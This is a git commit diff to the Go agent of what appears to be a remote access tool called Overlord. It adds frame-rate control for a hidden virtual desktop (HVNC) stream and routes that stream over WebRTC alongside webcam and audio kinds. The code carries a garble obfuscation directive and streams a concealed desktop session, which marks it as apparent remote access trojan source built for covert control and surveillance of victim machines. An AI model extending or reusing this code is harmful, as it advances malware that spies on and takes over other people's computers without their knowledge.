major improvements

Overlord-Client/cmd/agent/handlers/command.go

@@ -1130,6 +1130,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		capture.SetMaxResolution(maxH)
 		sendCommandResultSafe(env, cmdID, true, "")
 		return nil
+	case "hvnc_set_fps":
+		payload, _ := envelope["payload"].(map[string]interface{})
+		fps := 120
+		if payload != nil {
+			if v, ok := payloadInt(payload, "fps"); ok {
+				fps = v
+			}
+		}
+		fps = SetHVNCTargetFPS(fps)
+		log.Printf("hvnc: set target fps=%d", fps)
+		sendCommandResultSafe(env, cmdID, true, "")
+		return nil
 	case "hvnc_set_quality":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		quality := 90

Overlord-Client/cmd/agent/handlers/hvnc.go

@@ -6,12 +6,14 @@ import (
 	"overlord-client/cmd/agent/capture"
 	rt "overlord-client/cmd/agent/runtime"
 	"sync"
+	"sync/atomic"
 	"time"
 )
 
 var (
 	hvncPersistedDisplayValue int
 	hvncPersistedDisplayMu    sync.Mutex
+	hvncTargetFPS             atomic.Int64
 )
 
 func persistHVNCDisplaySelection(display int) {
@@ -28,9 +30,11 @@ func GetPersistedHVNCDisplay() int {
 
 func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
 	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
-	interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
+	fps := activeHVNCTargetFPS()
+	interval := time.Second / time.Duration(fps)
 	capture.SetH264TargetFPS(fps)
-	log.Printf("hvnc: starting stream (max fps %d)", fps)
+	capture.SetFrameFlowTargetFPS(fps)
+	log.Printf("hvnc: starting stream (target fps %d)", fps)
 
 	if err := capture.InitializeHVNCDesktop(); err != nil {
 		log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
@@ -47,6 +51,7 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
 
 	ticker := time.NewTicker(interval)
 	defer ticker.Stop()
+	currentFPS := fps
 	for {
 		select {
 		case <-ctx.Done():
@@ -54,6 +59,14 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
 			capture.CleanupHVNCDesktop()
 			return nil
 		case <-ticker.C:
+			fps := activeHVNCTargetFPS()
+			if fps != currentFPS {
+				currentFPS = fps
+				capture.SetH264TargetFPS(fps)
+				capture.SetFrameFlowTargetFPS(fps)
+				ticker.Reset(time.Second / time.Duration(fps))
+				log.Printf("hvnc: target fps changed to %d", fps)
+			}
 			if err := capture.NowHVNC(ctx, env); err != nil {
 				if ctx.Err() != nil {
 					log.Printf("hvnc: stopping stream")
@@ -66,6 +79,22 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
 	}
 }
 
+func activeHVNCTargetFPS() int {
+	if fps := int(hvncTargetFPS.Load()); fps > 0 {
+		return fps
+	}
+	_, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
+	return SetHVNCTargetFPS(fps)
+}
+
+func SetHVNCTargetFPS(fps int) int {
+	fps = clampDesktopTargetFPS(fps)
+	hvncTargetFPS.Store(int64(fps))
+	capture.SetH264TargetFPS(fps)
+	capture.SetFrameFlowTargetFPS(fps)
+	return fps
+}
+
 func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
 	prev := env.HVNCSelectedDisplay
 	maxDisplays := capture.HVNCMonitorCount()

Overlord-Client/cmd/agent/handlers/webrtc.go

@@ -25,6 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 {
 
 func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
 	switch s, _ := payload["kind"].(string); s {
+	case "hvnc":
+		return webrtcpub.KindHVNC
 	case "webcam":
 		return webrtcpub.KindWebcam
 	case "audio":
@@ -79,7 +81,11 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
 		// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
 		// decode immediately instead of waiting for the next natural IDR.
 		if hasVideo {
-			capture.ResetPrev()
+			if kind == webrtcpub.KindHVNC {
+				capture.ResetPrevHVNC()
+			} else {
+				capture.ResetPrev()
+			}
 		}
 		_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
 			Type: "command_result", CommandID: cmdID, OK: true,
@@ -136,7 +142,11 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
 		return nil
 	}
 	if hasVideo {
-		capture.ResetPrev()
+		if kind == webrtcpub.KindHVNC {
+			capture.ResetPrevHVNC()
+		} else {
+			capture.ResetPrev()
+		}
 	}
 	_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{
 		Type:      "webrtc_p2p_answer",